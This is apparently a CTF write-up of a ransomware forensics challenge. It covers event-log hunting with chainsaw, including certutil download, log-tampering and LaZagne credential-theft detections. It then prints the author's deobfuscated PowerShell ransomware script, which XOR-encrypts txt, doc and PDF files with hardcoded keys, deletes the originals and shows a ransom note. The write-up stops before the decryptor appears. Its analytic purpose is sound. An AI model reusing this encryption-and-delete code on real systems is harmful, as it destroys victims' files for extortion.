The challenge starts with a folder full of Event Log files as well as the seemlingly encrypted file "map.pdf.secured". The goal has to be decrypting the PDF file.
Hunt for Suspicious Events
The first thing that comes to my mind when presented with EVTX files after an incident is to run a chainsaw hunt on the files. And so I did:
I ran it two times, with raw output and with JSON output and I piped the output to a file as well.
Numerous detections indicated malicious actions that were logged. This is what I could see at first glance:
certutil was used to infiltrate the script avAFGrw41.ps1 to C:\Users\developer56546756\Desktop\avAFGrw41.ps1 2025-01-28 10:31:19
wevutil was used to evade ETW 2025-01-28 10:31:22
We have a user developer56546756
avAFGrw41.ps1 was executed with powershell1.0 2025-01-28 10:31:19
LaZagne was executed 2025-01-28 10:31:24
Victim: "WORKSTATION5678\developer56546756"
I filtered the logged commandlines from the chainsaw output to get a better overview and potentially extract some of the Powershell scripts that were likely executed:
There were multiple similar commands that all seemed to concatenate a base64 string in the variable "b". I decoded "b", by piping it to base64 -d. The result was this script:
This indicates that we found the encryption program that encrypted the "map.pdf.secured":
I started deobfuscating the script. These hashtables and For-loops had actually no purpose and could be removed entirely. It appeared that the hashtable1 is created, altered in three for-loops and then inverted into hashtable2. However, none of these hashtables are ever used.
A friend of mine explained that the $p34Vr switch is set as a flag when executed in line 73 of the screenshot below. This just sets the switch/bool $p34Vr, which is a function parameter, to true if it is given when executing the function. Since it is given in this case and the function only does anything if it is given, we can remove the flag, the parameter and the if statement.
This appears to be the encryption function, at least the main part of it:
The main function, if the path "dca01aq2/" exists, for txt, doc, docx and pdf files and, if they exist, encrypts them, stores that in .secured and removes the old one. This is typical ransomware behavior.
After renaming variables and simplifying the script, this is the final deobfuscated result:
function printransomnote {
"-------------------------------------------------------------------------------------------------
YOUR FILES HAVE BEEN ENCRYPTED BY A RANSOMWARE
* What happened?
Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our help.
* How to recover my files?
Recovering your files is 100% guaranteed if you follow our instructions.
* Is there a deadline?
Of course, there is. You have ten days left. Do not miss this deadline.
-------------------------------------------------------------------------------------------------"
}
function b64decode {
param([string]b64code)
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(b64code))
}
function encrypt {
param([byte[]]$input1, [byte[]]$input2, [byte[]]$input3)
$cipher = [byte[]]::new($input1.Length)
for ($x = 0; $x -lt $input1.Length; $x++) {
$streambyte1 = $input2[$x % $input2.Length]
$streambyte2 = $input3[$x % $input3.Length]
$cipher[$x] = $input1[$x] -bxor $streambyte1 -bxor $streambyte2
}
return $cipher
}
function runencryptor {
param([byte[]]$invar1, [string]$invar2, [string]$invar3)
if ($invar1 -eq $null -or $invar1.Length -eq 0) {
return $null
}
$invar2UTF = [System.Text.Encoding]::UTF8.GetBytes($invar2)
$invar3UTF = [System.Text.Encoding]::UTF8.GetBytes($invar3)
$finalcipher = encrypt $invar1 $invar2UTF $invar3UTF
return [Convert]::ToBase64String($finalcipher)
}
function mainfunc {
try {
foreach ($doctype in @('*.txt','*.doc','*.docx','*.pdf') {
path1 = "dca01aq2/"
if (Test-Path path1) {
Get-ChildItem -Path path1 -Recurse -ErrorAction Stop |
Where-Object { $_.Extension -match "^\.$doctype$" } |
ForEach-Object {
$file = $_.FullName
if (Test-Path $file) {
$filebytes = [IO.File]::ReadAllBytes($file)
$filecipher = runencryptor $filebytes $key1 $key2
[IO.File]::WriteAllText("$file.secured", $filecipher)
Remove-Item $file -Force
}
}
}
}
}
catch {}
}
$key1 = "5xsGObjHQiPAGdzLgBEeI8u0YSJq76Eiyuf8wARS7qbtP4ntQY50yH8dzKZeCAsZ"
$key2 = b64decode "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
mainfunc
printransomnote
}
Creating a Decryptor
We have to understand the encryption program to create a decryptor. This part indicates, that we have a stream cipher here. $streambyte1 will be the byte of the first key (input2) at the next index, if the message is longer than the key. If the message is 61 Bytes and the key is 60 Bytes, then the key[0] will be used to encrypt the last Byte.
Since I did this CTF together with a friend, he wrote the decryption program. This is what it looks like: